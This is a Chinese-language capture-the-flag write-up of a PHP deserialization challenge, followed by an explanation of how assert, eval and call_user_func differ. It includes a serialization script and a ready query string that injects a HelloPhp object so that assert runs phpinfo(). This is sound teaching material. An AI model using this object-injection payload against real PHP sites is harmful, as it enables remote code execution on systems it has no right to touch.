知识点:assert和eval的不同 call_user_func 回调函数
分析
ctrl+u
看源码
这题应该是要构造序列化来通过echo $b($a);
拿flag,不过flag在phpinfo里我是真没想到。
payload
序列化:
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "phpinfo()";
$this->b = "assert";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;
@$ppp = serialize($c);
echo $ppp;
?>
?data=O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}
或者用call_user_func(phpinfo)
原理及不同:
assert()可以将整个字符串参数当作php参数执行,
而类似的eval()函数是执行合法的php代码,eval()里的引号必须是双引号,因为单引号不能解析字符串里的变量$str,且必须以分号结尾,函数调用除外。
例如:
这样是不行的。
<?php
echo eval(echo 1);
?>
这样就可以了。
<?php
echo eval("echo 1;");
?>
注意:assert把整个字符串参数当php代码执行,eval把合法的php代码执行。
call_user_func把第一个参数当作回调函数使用。
回调函数:把一个函数当作作为外层函数的参数,相当于把函数嵌入到外层函数中。
//普通函数
function f1($param1,$param2)
{
echo '函数'.__FUNCTION__.'被执行,传入的参数是:'.$param1.' '.$param2;
echo "<br/>";
}
//通过call_user_func调用函数f1
call_user_func('f1','han','wen');
//通过call_user_func_array调用函数
call_user_func_array('f1',array('han','wen'));
函数f1被执行,传入的参数是:han wen
函数f1被执行,传入的参数是:han wen